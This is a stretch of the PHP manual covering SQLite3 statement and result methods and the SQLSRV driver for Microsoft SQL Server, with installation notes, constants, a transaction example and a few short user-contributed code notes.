zeebinz at gmail dot com 23-Jul-2010 07:54
Note that this also works with positional placeholders using the '?' token:

<?php

$stmt = $db->prepare('SELECT * FROM mytable WHERE foo = ? AND bar = ?');
$stmt->bindValue(1, 'somestring', SQLITE3_TEXT);
$stmt->bindValue(2, 42, SQLITE3_INTEGER);

?>

Positional numbering starts at 1.
SQLite3Stmt::bindParam
SQLite3Stmt::clear
SQLite3Stmt


Clears all current bound parameters

SQLite3Stmt::bindValue
SQLite3Stmt::close
SQLite3Stmt
PHP Manual

SQLite3Stmt::clear

(PHP 5 >= 5.3.0)

SQLite3Stmt::clear — Clears all current bound parameters

Description

public bool SQLite3Stmt::clear ( void )

Clears all current bound parameters.

Parameters

This function has no parameters.

Return Values

Returns TRUE on successful clearing of bound parameters, FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SQLite3Stmt::bindValue
SQLite3Stmt::close
SQLite3Stmt


Closes the prepared statement

SQLite3Stmt::clear
SQLite3Stmt::execute
SQLite3Stmt
PHP Manual

SQLite3Stmt::close

(PHP 5 >= 5.3.0)

SQLite3Stmt::close — Closes the prepared statement

Description

public bool SQLite3Stmt::close ( void )

Closes the prepared statement.

Parameters

This function has no parameters.

Return Values

Returns TRUE

User Contributed Notes

There are no user contributed notes for this page.
SQLite3Stmt::clear
SQLite3Stmt::execute
SQLite3Stmt


Executes a prepared statement and returns a result set object

SQLite3Stmt::close
SQLite3Stmt::paramCount
SQLite3Stmt
PHP Manual

SQLite3Stmt::execute

(PHP 5 >= 5.3.0)

SQLite3Stmt::execute — Executes a prepared statement and returns a result set object

Description

public SQLite3Result SQLite3Stmt::execute ( void )

Executes a prepared statement and returns a result set object.

Parameters

This function has no parameters.

Return Values

Returns an SQLite3Result object on successful execution of the prepared statement, FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SQLite3Stmt::close
SQLite3Stmt::paramCount
SQLite3Stmt


Returns the number of parameters within the prepared statement

SQLite3Stmt::execute
SQLite3Stmt::reset
SQLite3Stmt
PHP Manual

SQLite3Stmt::paramCount

(PHP 5 >= 5.3.0)

SQLite3Stmt::paramCount — Returns the number of parameters within the prepared statement

Description

public int SQLite3Stmt::paramCount ( void )

Returns the number of parameters within the prepared statement.

Parameters

This function has no parameters.

Return Values

Returns the number of parameters within the prepared statement.

User Contributed Notes

There are no user contributed notes for this page.
SQLite3Stmt::execute
SQLite3Stmt::reset
SQLite3Stmt


Resets the prepared statement

SQLite3Stmt::paramCount
SQLite3Result
SQLite3Stmt
PHP Manual

SQLite3Stmt::reset

(PHP 5 >= 5.3.0)

SQLite3Stmt::reset — Resets the prepared statement

Description

public bool SQLite3Stmt::reset ( void )

Resets the prepared statement to its state prior to execution. All bindings remain intact after reset.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the statement is successfully reset, FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SQLite3Stmt::paramCount
SQLite3Result
SQLite3Stmt


The SQLite3Result class

(No version information available, might only be in SVN)

Introduction

A class that handles result sets for the SQLite 3 extension.

Class synopsis

SQLite3Result {
/* Methods */
public string columnName ( int $column_number )
public int columnType ( int $column_number )
public array fetchArray ([ int $mode = SQLITE3_BOTH ] )
public bool finalize ( void )
public int numColumns ( void )
public bool reset ( void )
}

Table of Contents

  • SQLite3Result::columnName — Returns the name of the nth column
  • SQLite3Result::columnType — Returns the type of the nth column
  • SQLite3Result::fetchArray — Fetches a result row as an associative or numerically indexed array or both
  • SQLite3Result::finalize — Closes the result set
  • SQLite3Result::numColumns — Returns the number of columns in the result set
  • SQLite3Result::reset — Resets the result set back to the first row

User Contributed Notes

alan71-at-free-fr 28-Dec-2010 06:34
Here's a snippet that might help you to write a fetchObject function that is also missing:

<?php

function fetchObject($sqlite3result, $objectType = NULL) {
    $array = $sqlite3result->fetchArray();

    if(is_null($objectType)) {
        $object = new stdClass();
    } else {
        // does not call this class' constructor
        $object = unserialize(sprintf('O:%d:"%s":0:{}', strlen($objectType), $objectType));
    }

    $reflector = new ReflectionObject($object);
    for($i = 0; $i < $sqlite3result->numColumns(); $i++) {
        $name = $sqlite3result->columnName($i);
        $value = $array[$name];

        try {
            $attribute = $reflector->getProperty($name);

            $attribute->setAccessible(TRUE);
            $attribute->setValue($object, $value);
        } catch (ReflectionException $e) {
            $object->$name = $value;
        }
    }

    return $object;
}

?>

Heavily inspired of Bergmann's Object Freezer :
https://github.com/sebastianbergmann/php-object-freezer/blob/master/Object/Freezer.php
claudiu at virtuamagic dot com 08-Mar-2010 02:34
fetchArray() will return bool(false) in case of 0 rows.
jonscully at gmail dot com 30-Nov-2009 01:35
Since SQLite3Result::numRows is unavailable, use:

<?php
if ($res->numColumns() && $res->columnType(0) != SQLITE3_NULL) {
    // have rows
} else {
    // zero rows
}
?>

Because when there are zero rows:
* SQLite3Result::fetchArray will return '1'
* SQLite3Result::numColumns will return '1'
* Column type for column '0' will be SQLITE3_NULL
SQLite3Stmt::reset
SQLite3Result::columnName
SQLite3


Returns the name of the nth column

SQLite3Result
SQLite3Result::columnType
SQLite3Result
PHP Manual

SQLite3Result::columnName

(PHP 5 >= 5.3.0)

SQLite3Result::columnName — Returns the name of the nth column

Description

public string SQLite3Result::columnName ( int $column_number )

Returns the name of the column specified by the column_number.

Parameters

column_number

The numeric zero-based index of the column.

Return Values

Returns the string name of the column identified by column_number.

User Contributed Notes

david dot barkman13 at gmail dot com 16-Apr-2010 02:23
Example:

<?php
    public function selectAll($table)
    {
        $results = $this->_dbConn->query("SELECT * FROM $table");
        $cols = $results->numColumns();
        while ($row = $results->fetchArray()) {
            for ($i = 1; $i < $cols; $i++) {
                echo $results->columnName($i) . ': ';
                echo $row[$i] . '<br />';
            }
            //print_r($row);
            //echo 'Username: ' . $row['USERNAME'] . '<br />';
        }
        $this->_dbConn->close();
    }
?>
SQLite3Result
SQLite3Result::columnType
SQLite3Result


Returns the type of the nth column

SQLite3Result::columnName
SQLite3Result::fetchArray
SQLite3Result
PHP Manual

SQLite3Result::columnType

(PHP 5 >= 5.3.0)

SQLite3Result::columnType — Returns the type of the nth column

Description

public int SQLite3Result::columnType ( int $column_number )

Returns the type of the column identified by column_number.

Parameters

column_number

The numeric zero-based index of the column.

Return Values

Returns the data type index of the column identified by column_number (one of SQLITE3_INTEGER, SQLITE3_FLOAT, SQLITE3_TEXT, SQLITE3_BLOB, or SQLITE3_NULL).

User Contributed Notes

phpnotes at carwash dot org 22-Nov-2011 10:44
This function never returns any value other than 5, indicating SQLITE3_NULL.  SQLite 3 doesn't have column types, it has column affinities.  Different rows of the same table (and rows resulting from a SELECT) can hold values of different types.  Therefore this API cannot return anything useful, and the method appears to be using SQLITE3_NULL as a placeholder.

The function in useless and should be removed or marked as deprecated in future releases, so as not to give any programmer the false idea that the values returned are useful.
SQLite3Result::columnName
SQLite3Result::fetchArray
SQLite3Result


Fetches a result row as an associative or numerically indexed array or both

SQLite3Result::columnType
SQLite3Result::finalize
SQLite3Result
PHP Manual

SQLite3Result::fetchArray

(PHP 5 >= 5.3.0)

SQLite3Result::fetchArray — Fetches a result row as an associative or numerically indexed array or both

Description

public array SQLite3Result::fetchArray ([ int $mode = SQLITE3_BOTH ] )

Fetches a result row as an associative or numerically indexed array or both. By default, fetches as both.

Parameters

mode

Controls how the next row will be returned to the caller. This value must be one of either SQLITE3_ASSOC, SQLITE3_NUM, or SQLITE3_BOTH.

  • SQLITE3_ASSOC: returns an array indexed by column name as returned in the corresponding result set

  • SQLITE3_NUM: returns an array indexed by column number as returned in the corresponding result set, starting at column 0

  • SQLITE3_BOTH: returns an array indexed by both column name and number as returned in the corresponding result set, starting at column 0

Return Values

Returns a result row as an associatively or numerically indexed array or both.

User Contributed Notes

alan at synergymx dot com 14-Sep-2010 04:56
To loop through a record set:

<?php
        $db = new SQLite3('auth.sqlite');

        $sql = "SELECT user_id, username, opt_status FROM tbl_user";

        $result = $db->query($sql);//->fetchArray(SQLITE3_ASSOC);

        $row = array();

        $i = 0;

         while($res = $result->fetchArray(SQLITE3_ASSOC)){

             if(!isset($res['user_id'])) continue;

              $row[$i]['user_id'] = $res['user_id'];
              $row[$i]['username'] = $res['username'];
              $row[$i]['opt_status'] = $res['opt_status'];

              $i++;

          }

          print_r($row);
?>
SQLite3Result::columnType
SQLite3Result::finalize
SQLite3Result


Closes the result set

SQLite3Result::fetchArray
SQLite3Result::numColumns
SQLite3Result
PHP Manual

SQLite3Result::finalize

(PHP 5 >= 5.3.0)

SQLite3Result::finalize — Closes the result set

Description

public bool SQLite3Result::finalize ( void )

Closes the result set.

Parameters

This function has no parameters.

Return Values

Returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.
SQLite3Result::fetchArray
SQLite3Result::numColumns
SQLite3Result


Returns the number of columns in the result set

SQLite3Result::finalize
SQLite3Result::reset
SQLite3Result
PHP Manual

SQLite3Result::numColumns

(PHP 5 >= 5.3.0)

SQLite3Result::numColumns — Returns the number of columns in the result set

Description

public int SQLite3Result::numColumns ( void )

Returns the number of columns in the result set.

Parameters

This function has no parameters.

Return Values

Returns the number of columns in the result set.

User Contributed Notes

jwzumwalt at neatinfo dot com 30-Oct-2010 06:33
Here is an example:

<?php
   $query = "SELECT * FROM 't1' ";
   $result = $db->query($query) or die("Error in query: <span style='color:red;'>$query</span>");
   $num_columns =  $result->columnCount();
?>
SQLite3Result::finalize
SQLite3Result::reset
SQLite3Result


Resets the result set back to the first row

SQLite3Result::numColumns
SQLSRV
SQLite3Result
PHP Manual

SQLite3Result::reset

(PHP 5 >= 5.3.0)

SQLite3Result::reset — Resets the result set back to the first row

Description

public bool SQLite3Result::reset ( void )

Resets the result set back to the first row.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the result set is successfully reset back to the first row, FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SQLite3Result::numColumns
SQLSRV
SQLite3Result


Microsoft SQL Server Driver for PHP

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • SQLSRV Functions
    • sqlsrv_begin_transaction — Begins a database transaction
    • sqlsrv_cancel — Cancels a statement
    • sqlsrv_client_info — Returns information about the client and specified connection
    • sqlsrv_close — Closes an open connection and releases resourses associated with the connection
    • sqlsrv_commit — Commits a transaction that was begun with sqlsrv_begin_transaction
    • sqlsrv_configure — Changes the driver error handling and logging configurations
    • sqlsrv_connect — Opens a connection to a Microsoft SQL Server database
    • sqlsrv_errors — Returns error and warning information about the last SQLSRV operation performed
    • sqlsrv_execute — Executes a statement prepared with sqlsrv_prepare
    • sqlsrv_fetch_array — Returns a row as an array
    • sqlsrv_fetch_object — Retrieves the next row of data in a result set as an object
    • sqlsrv_fetch — Makes the next row in a result set available for reading
    • sqlsrv_field_metadata — Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query
    • sqlsrv_free_stmt — Frees all resources for the specified statement
    • sqlsrv_get_config — Returns the value of the specified configuration setting
    • sqlsrv_get_field — Gets field data from the currently selected row
    • sqlsrv_has_rows — Indicates whether the specified statement has rows
    • sqlsrv_next_result — Makes the next result of the specified statement active
    • sqlsrv_num_fields — Retrieves the number of fields (columns) on a statement
    • sqlsrv_num_rows — Retrieves the number of rows in a result set
    • sqlsrv_prepare — Prepares a query for execution
    • sqlsrv_query — Prepares and executes a query.
    • sqlsrv_rollback — Rolls back a transaction that was begun with sqlsrv_begin_transaction
    • sqlsrv_rows_affected — Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed
    • sqlsrv_send_stream_data — Sends data from parameter streams to the server
    • sqlsrv_server_info — Returns information about the server

User Contributed Notes

There are no user contributed notes for this page.
SQLite3Result::reset
Introduction
Vendor Specific Database Extensions


Introduction

The SQLSRV extension allows you to access Microsoft SQL Server and SQL Azure databases when running PHP on Windows.

The SQLSRV extension is supported by Microsoft and available for download here: » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx.

User Contributed Notes

There are no user contributed notes for this page.
SQLSRV
Installing/Configuring
SQLSRV


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
SQLSRV


Requirements

The SQLSRV extension can be used on the following operating systems:

  • Windows Server 2003 Service Pack 1
  • Windows XP Service Pack 3
  • Windows Vista Service Pack 1 or later
  • Windows Server 2008
  • Windows Server 2008 R2
  • Windows 7

The SQLSRV extension requires that the Microsoft SQL Server 2008 R2 Native Client be installed on the same computer that is running PHP. If the Microsoft SQL Server 2008 R2 is not already installed, click the appropriate link below to download it:

  • » Download the x86 package
  • » Download the x64 package

The SQLSRV download comes with several driver files. Which driver file you use will depend on 3 factors: the PHP version you are using, whether you are using thread-safe or non-thread-safe PHP, and whether your PHP installation was compiled with the VC6 or VC9 compiler. For example, if you are running PHP 5.3, you are using non-thread-safe PHP, and your PHP installation was compiled with the VC9 compiler, you should use the php_sqlsrv_53_nts_vc9.dll file. (You should use a non-thread-safe version compiled with the VC9 compiler if you are using IIS as your web server). If you are running PHP 5.2, you are using thread-safe PHP, and your PHP installation was compiled with the VC6 compiler, you should use the php_sqlsrv_52_ts_vc6.dll file.

For more information about SQLSRV requirements, see » SQLSRV System Requirements.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

The SQLSRV extension is enabled by adding appropriate DLL file to your PHP extension directory and the corresponding entry to the php.ini file. The SQLSRV download comes with several driver files. Which driver file you use will depend on 3 factors: the PHP version you are using, whether you are using thread-safe or non-thread-safe PHP, and whether your PHP installation was compiled with the VC6 or VC9 compiler. For example, if you are running PHP 5.3, you are using non-thread-safe PHP, and your PHP installation was compiled with the VC9 compiler, you should use the php_sqlsrv_53_nts_vc9.dll file. (You should use a non-thread-safe version compiled with the VC9 compiler if you are using IIS as your web server). If you are running PHP 5.2, you are using thread-safe PHP, and your PHP installation was compiled with the VC6 compiler, you should use the php_sqlsrv_52_ts_vc6.dll file.

For more information about SQLSRV requirements, see » SQLSRV System Requirements.

The SQLSRV extension is only compatible with PHP running on Windows.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

The following table lists the configuration options available in the SQLSRV extension. For more information about these options, see » Handling SQLSRV Warnings and Errors.

SQLSRV Configure Options
Name | Default | Changeable | Changelog
sqlsrv.WarningsReturnAsErrors | 1 (TRUE) | PHP_INI_ALL | Available since SQLSRV 1.0
sqlsrv.LogSubsystems | 0 | PHP_INI_ALL | Available since SQLSRV 1.0
sqlsrv.LogSeverity | 1 | PHP_INI_ALL | Available since SQLSRV 1.0

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

Connection resource

A connection resource returned by sqlsrv_connect().

Statement resource

A statement resource returned by sqlsrv_query() or by sqlsrv_prepare().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SQLSRV_FETCH_ASSOC (integer)
Forces sqlsrv_fetch_array() to return an associative array when passed as a parameter.
SQLSRV_FETCH_NUMERIC (integer)
Forces sqlsrv_fetch_array() to return an array with numeric when passed as a parameter.
SQLSRV_FETCH_BOTH (integer)
Forces sqlsrv_fetch_array() to return an array with both associative and numeric keys when passed as a parameter (the default behavior).
SQLSRV_ERR_ALL (integer)
Forces sqlsrv_errors() to return both errors and warings when passed as a parameter (the default behavior).
SQLSRV_ERR_ERRORS (integer)
Forces sqlsrv_errors() to return errors only (no warnings) when passed as a parameter.
SQLSRV_ERR_WARNINGS (integer)
Forces sqlsrv_errors() to return warnings only (no errors) when passed as a parameter.
SQLSRV_LOG_SYSTEM_ALL (integer)
Turns on logging of all subsystems when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_CONN (integer)
Turns on logging of connection activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_INIT (integer)
Turns on logging of initialization activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_OFF (integer)
Turns off logging of all subsystems when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_STMT (integer)
Turns on logging of statement activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_UTIL (integer)
Turns on logging of error function activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_ALL (integer)
Specifies that errors, warnings, and notices will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_ERROR (integer)
Specifies that errors will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_NOTICE (integer)
Specifies that notices will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_WARNING (integer)
Specifies that warnings will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_NULLABLE_YES (integer)
Indicates that a column is nullable.
SQLSRV_NULLABLE_NO (integer)
Indicates that a column is not nullable.
SQLSRV_NULLABLE_UNKNOWN (integer)
Indicates that it is not known if a column is nullable.
SQLSRV_PARAM_IN (integer)
Indicates an input parameter when passed to sqlsrv_query() or sqlsrv_prepare().
SQLSRV_PARAM_INOUT (integer)
Indicates a bidirectional parameter when passed to sqlsrv_query() or sqlsrv_prepare().
SQLSRV_PARAM_OUT (integer)
Indicates an output parameter when passed to sqlsrv_query() or sqlsrv_prepare().
SQLSRV_PHPTYPE_INT (integer)
Specifies an integer PHP data type. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_DATETIME (integer)
Specifies a datetime PHP data type. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_FLOAT (integer)
Specifies a float PHP data type. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_STREAM (integer)
Specifies a PHP stream. This constant works like a function and accepts an encoding constant. See the SQLSRV_ENC_* constants. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_STRING (integer)
Specifies a string PHP data type. This constant works like a function and accepts an encoding constant. See the SQLSRV_ENC_* constants. For usage information, see » How to: Specify PHP Types.
SQLSRV_ENC_BINARY (integer)
Specifies that data is returned as a raw byte stream from the server without performing encoding or translation. For usage information, see » How to: Specify PHP Types.
SQLSRV_ENC_CHAR (integer)
Data is returned in 8-bit characters as specified in the code page of the Windows locale that is set on the system. Any multi-byte characters or characters that do not map into this code page are substituted with a single byte question mark (?) character. This is the default encoding. For usage information, see » How to: Specify PHP Types.
UTF-8 (integer)
Specifies that data is returned with UTF-8 encoding. For usage information, see » How to: Specify PHP Types.
SQLSRV_SQLTYPE_BIGINT (integer)
Describes the bigint SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_BINARY (integer)
Describes the binary SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_BIT (integer)
Describes the bit SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_CHAR (integer)
Describes the char SQL Server data type. This constant works like a function and accepts a parameter indicating the number characters. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATE (integer)
Describes the date SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATETIME (integer)
Describes the datetime SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATETIME2 (integer)
Describes the datetime2 SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATETIMEOFFSET (integer)
Describes the datetimeoffset SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DECIMAL (integer)
Describes the decimal SQL Server data type. This constant works like a function and accepts two parameters indicating (in order) precision and scale. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_FLOAT (integer)
Describes the float SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_IMAGE (integer)
Describes the image SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_INT (integer)
Describes the int SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_MONEY (integer)
Describes the money SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NCHAR (integer)
Describes the nchar SQL Server data type. This constant works like a function and accepts a single parameter indicating the character count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NUMERIC (integer)
Describes the numeric SQL Server data type. This constant works like a function and accepts two parameter indicating (in order) precision and scale. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NVARCHAR (integer)
Describes the nvarchar SQL Server data type. This constant works like a function and accepts a single parameter indicating the character count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NVARCHAR('max') (integer)
Describes the nvarchar(MAX) SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NTEXT (integer)
Describes the ntext SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_REAL (integer)
Describes the real SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_SMALLDATETIME (integer)
Describes the smalldatetime SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_SMALLINT (integer)
Describes the smallint SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_SMALLMONEY (integer)
Describes the smallmoney SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TEXT (integer)
Describes the text SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TIME (integer)
Describes the time SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TIMESTAMP (integer)
Describes the timestamp SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TINYINT (integer)
Describes the tinyint SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_UNIQUEIDENTIFIER (integer)
Describes the uniqueidentifier SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_UDT (integer)
Describes the UDT SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARBINARY (integer)
Describes the varbinary SQL Server data type. This constant works like a function and accepts a single parameter indicating the byte count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARBINARY('max') (integer)
Describes the varbinary(MAX) SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARCHAR (integer)
Describes the varchar SQL Server data type. This constant works like a function and accepts a single parameter indicating the character count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARCHAR('max') (integer)
Describes the varchar(MAX) SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_XML (integer)
Describes the XML SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_TXN_READ_UNCOMMITTED (integer)
Inidicates a transaction isolation level of READ UNCOMMITTED. This value is used to set the TransactionIsolation level in the $connectionOptions arrary passed to sqlsrv_connect().
SQLSRV_TXN_READ_COMMITTED (integer)
Inidicates a transaction isolation level of READ COMMITTED. This value is used to set the TransactionIsolation level in the $connectionOptions arrary passed to sqlsrv_connect().
SQLSRV_TXN_REPEATABLE_READ (integer)
Inidicates a transaction isolation level of REPEATABLE READ. This value is used to set the TransactionIsolation level in the $connectionOptions arrary passed to sqlsrv_connect().
SQLSRV_TXN_SNAPSHOT (integer)
Inidicates a transaction isolation level of SNAPSHOT. This value is used to set the TransactionIsolation level in the $connectionOptions arrary passed to sqlsrv_connect().
SQLSRV_TXN_READ_SERIALIZABLE (integer)
Inidicates a transaction isolation level of SERIALIZABLE. This value is used to set the TransactionIsolation level in the $connectionOptions arrary passed to sqlsrv_connect().
SQLSRV_CURSOR_FORWARD (integer)
Inidicates a forward-only cursor. For usage information, see » How to: Specify a Cursor Type.
SQLSRV_CURSOR_STATIC (integer)
Inidicates a static cursor. For usage information, see » How to: Specify a Cursor Type.
SQLSRV_DYNAMIC (integer)
Inidicates a dynamic cursor. For usage information, see » How to: Specify a Cursor Type.
SQLSRV_CURSOR_KEYSET (integer)
Inidicates a keyset cursor. For usage information, see » How to: Specify a Cursor Type.
SQLSRV_SCROLL_NEXT (integer)
Specifies which row to select in a result set. For usage information, see » How to: Specify a Cursor Type and Select Rows.
SQLSRV_SCROLL_PRIOR (integer)
Specifies which row to select in a result set. For usage information, see » How to: Specify a Cursor Type and Select Rows.
SQLSRV_SCROLL_FIRST (integer)
Specifies which row to select in a result set. For usage information, see » How to: Specify a Cursor Type and Select Rows.
SQLSRV_SCROLL_LAST (integer)
Specifies which row to select in a result set. For usage information, see » How to: Specify a Cursor Type and Select Rows.
SQLSRV_SCROLL_ABSOLUTE (integer)
Specifies which row to select in a result set. For usage information, see » How to: Specify a Cursor Type and Select Rows.
SQLSRV_SCROLL_RELATIVE (integer)
Specifies which row to select in a result set. For usage information, see » How to: Specify a Cursor Type and Select Rows.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
SQLSRV Functions
SQLSRV


SQLSRV Functions

Table of Contents

  • sqlsrv_begin_transaction — Begins a database transaction
  • sqlsrv_cancel — Cancels a statement
  • sqlsrv_client_info — Returns information about the client and specified connection
  • sqlsrv_close — Closes an open connection and releases resourses associated with the connection
  • sqlsrv_commit — Commits a transaction that was begun with sqlsrv_begin_transaction
  • sqlsrv_configure — Changes the driver error handling and logging configurations
  • sqlsrv_connect — Opens a connection to a Microsoft SQL Server database
  • sqlsrv_errors — Returns error and warning information about the last SQLSRV operation performed
  • sqlsrv_execute — Executes a statement prepared with sqlsrv_prepare
  • sqlsrv_fetch_array — Returns a row as an array
  • sqlsrv_fetch_object — Retrieves the next row of data in a result set as an object
  • sqlsrv_fetch — Makes the next row in a result set available for reading
  • sqlsrv_field_metadata — Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query
  • sqlsrv_free_stmt — Frees all resources for the specified statement
  • sqlsrv_get_config — Returns the value of the specified configuration setting
  • sqlsrv_get_field — Gets field data from the currently selected row
  • sqlsrv_has_rows — Indicates whether the specified statement has rows
  • sqlsrv_next_result — Makes the next result of the specified statement active
  • sqlsrv_num_fields — Retrieves the number of fields (columns) on a statement
  • sqlsrv_num_rows — Retrieves the number of rows in a result set
  • sqlsrv_prepare — Prepares a query for execution
  • sqlsrv_query — Prepares and executes a query.
  • sqlsrv_rollback — Rolls back a transaction that was begun with sqlsrv_begin_transaction
  • sqlsrv_rows_affected — Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed
  • sqlsrv_send_stream_data — Sends data from parameter streams to the server
  • sqlsrv_server_info — Returns information about the server

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
sqlsrv_begin_transaction
SQLSRV


Begins a database transaction

SQLSRV Functions
sqlsrv_cancel
SQLSRV Functions
PHP Manual

sqlsrv_begin_transaction

(No version information available, might only be in SVN)

sqlsrv_begin_transaction — Begins a database transaction

Description

bool sqlsrv_begin_transaction ( resource $conn )

The transaction begun by sqlsrv_begin_transaction() includes all statements that were executed after the call to sqlsrv_begin_transaction() and before calls to sqlsrv_rollback() or sqlsrv_commit(). Explicit transactions should be started and committed or rolled back using these functions instead of executing SQL statements that begin and committ/roll back transactions. For more information, see » SQLSRV Transactions.

Parameters

conn

The connection resource returned by a call to sqlsrv_connect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 sqlsrv_begin_transaction() example

The following example demonstrates how to use sqlsrv_begin_transaction() together with sqlsrv_commit() and sqlsrv_rollback().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true ));
}

/* Begin the transaction. */
if ( sqlsrv_begin_transaction( $conn ) === false ) {
     die( print_r( sqlsrv_errors(), true ));
}

/* Initialize parameter values. */
$orderId = 1; $qty = 10; $productId = 100;

/* Set up and execute the first query. */
$sql1 = "INSERT INTO OrdersTable (ID, Quantity, ProductID)
          VALUES (?, ?, ?)";
$params1 = array( $orderId, $qty, $productId );
$stmt1 = sqlsrv_query( $conn, $sql1, $params1 );

/* Set up and execute the second query. */
$sql2 = "UPDATE InventoryTable
          SET Quantity = (Quantity - ?)
          WHERE ProductID = ?";
$params2 = array($qty, $productId);
$stmt2 = sqlsrv_query( $conn, $sql2, $params2 );

/* If both queries were successful, commit the transaction. */
/* Otherwise, rollback the transaction. */
if( $stmt1 && $stmt2 ) {
     sqlsrv_commit( $conn );
     echo "Transaction committed.<br />";
} else {
     sqlsrv_rollback( $conn );
     echo "Transaction rolled back.<br />";
}
?>

The above example will output something similar to:

See Also

  • sqlsrv_commit() - Commits a transaction that was begun with sqlsrv_begin_transaction
  • sqlsrv_rollback() - Rolls back a transaction that was begun with sqlsrv_begin_transaction

User Contributed Notes

There are no user contributed notes for this page.
SQLSRV Functions
sqlsrv_cancel
SQLSRV Functions


Cancels a statement

sqlsrv_begin_transaction
sqlsrv_client_info
SQLSRV Functions
PHP Manual

sqlsrv_cancel

(No version information available, might only be in SVN)

sqlsrv_cancel — Cancels a statement

Description

bool sqlsrv_cancel ( resource $stmt )

Cancels a statement. Any results associated with the statement that have not been consumed are deleted. After sqlsrv_cancel() has been called, the specified statement can be re-executed if it was created with sqlsrv_prepare(). Calling sqlsrv_cancel() is not necessary if all the results associated with the statement have been consumed.

Parameters

stmt

The statement resource to be cancelled.

Return Values

